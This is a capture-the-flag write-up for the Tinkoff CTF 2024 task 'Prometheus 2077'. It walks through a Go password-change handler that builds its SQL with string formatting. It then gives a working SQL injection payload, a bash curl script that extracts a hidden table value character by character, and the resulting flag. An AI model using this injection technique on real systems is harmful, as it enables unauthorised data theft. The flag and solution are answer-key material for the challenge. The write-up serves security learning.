Skip to content
RedBlueStrategy
Go back

Prometheus 2077 — Tinkoff CTF 2024

Prometheus 2077 — Tinkoff CTF 2024

Initial Data

Task link Prometheus 2077

Description The Greek gods strike back. They took the 🔥 emoji from all internet users and sealed it in the secure Sacred table alongside other artifacts. A hero nicknamed Prometheus decided to steal the spark. Help him and return the fire to the internet and to chats.

Forum t-fire-oudjc9cv.spbctf.net

Forum source code Download fire_64f7cd8.tar.gz

Solution

Forum Source Code Analysis

Find the password change logic. We see that an SQL injection can be embedded in the password field:

File updatePassword.go:

func UpdatePassword(c *gin.Context) {
	db := c.MustGet("db").(*sql.DB)

	session := sessions.Default(c)
	username := session.Get("user_id")
	// username := c.PostForm("username")
	password := c.PostForm("password")

	password = strings.ReplaceAll(password, "🔥", "💨")

	if password == "" {
		c.JSON(http.StatusBadRequest, gin.H{"error": "Password cannot be empty"})
		return
	}

	go func(db *sql.DB, password, username interface{}) {

		ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
		defer cancel()

		query := fmt.Sprintf("UPDATE users SET password = '%s' \n", password) // hashPassword(password))
		query = query + "WHERE username = $1"

		_, err := db.ExecContext(ctx, query, username)

		if err != nil {
			log.Printf("Failed to insert message: %v", err)
		}

	}(db, password, username)

	Logout(c)
}updatePassword.go

There is a GET /profile/get endpoint that returns the username and age.

The fire/postgres/init-db.sql file describes the Sacred table:

CREATE TABLE IF NOT EXISTS Sacred (
    artefact TEXT NOT NULL
);

INSERT INTO Sacred (artefact) VALUES ('⚡️'), ('${ARTIFACT_2}'), ('${ARTIFACT_3}');

Flag Retrieval Strategy

We need to extract the values from the Sacred table. To do this, insert an SQL injection into the password field so that:

  • the user’s password does not change, so we don’t have to remember new passwords
  • each call to POST /profile/password extracts the i-th character of the artefact field from the Sacred table
  • the result is stored in the numeric age field, which can be read via GET /profile/get

For example, we can pass the following as the password value:

$user', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), $i, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1

We convert the value we need to a hex string and store the code of the i-th character in the age field.

Then the SQL query after substituting the password looks like this:

UPDATE users SET password = '<password>', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), <position>, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1'
WHERE username = $1"

Writing the Solver Script

Let’s write a simple bash script that retrieves characters one by one and prints the contents of artefact.

The full script:

#!/bin/bash

user=user_$(date +%s)

curl 'https://t-fire-oudjc9cv.spbctf.net/signup' \
	-X 'POST' \
	-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
	--data "username=$user&password=$user"
echo

curl 'https://t-fire-oudjc9cv.spbctf.net/signin' \
	-c /tmp/ctf_cookies.txt \
	-X 'POST' \
	-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
	--data "username=$user&password=$user"
echo

for ((i = 1; i <= 100; i++)); do
	injection="$user', age = (SELECT CAST(ascii(SUBSTRING(encode(artefact::bytea, 'hex'), $i, 1)) AS INTEGER) FROM Sacred LIMIT 1 OFFSET 2) -- 1"

	curl -s 'https://t-fire-oudjc9cv.spbctf.net/profile/password' \
		-b /tmp/ctf_cookies.txt \
		-X 'POST' \
		--data-urlencode "password=$injection"

	age=$(curl -s 'https://t-fire-oudjc9cv.spbctf.net/profile/get' \
		-b /tmp/ctf_cookies.txt \
		-X 'GET' | jq -r '.age')

	if [ "$age" = "0" ]; then break; fi

	ch=$(echo "$age" | awk '{printf("%c", $1)}')
	echo -n "$ch"
	msg=${msg}${ch}
done

echo
echo "$msg" | xxd -r -p
echosolve.sh

Getting the Flag

Run the bash script:

[amyasnikov@ubuntu:~]$ bash ./script.sh
{"message":"Successfully signuped"}
{"message":"Successfully signed in"}
2f7361637265645f666972655f73746f726167655f447471484447416a4c59
/sacred_fire_storage_DtqHDGAjLY

The value /sacred_fire_storage_DtqHDGAjLY looks like a filename on the server:

[amyasnikov@ubuntu:~]$ curl -s "https://t-fire-oudjc9cv.spbctf.net/sacred_fire_storage_DtqHDGAjLY" -b /tmp/ctf_cookies.txt -X POST | jq

{
  "flag": "tctf{pRoM3THEU5_Gav3_FIRe_bacK_To_mAnKInd}"
}

We got the flag tctf{pRoM3THEU5_Gav3_FIRe_bacK_To_mAnKInd}.

Questions

  • How can the same result be achieved with fewer requests?

Conclusion

  • A fairly universal strategy.


Previous Post
Galera — Tinkoff CTF 2024
Next Post
LeetCode — One-Year Challenge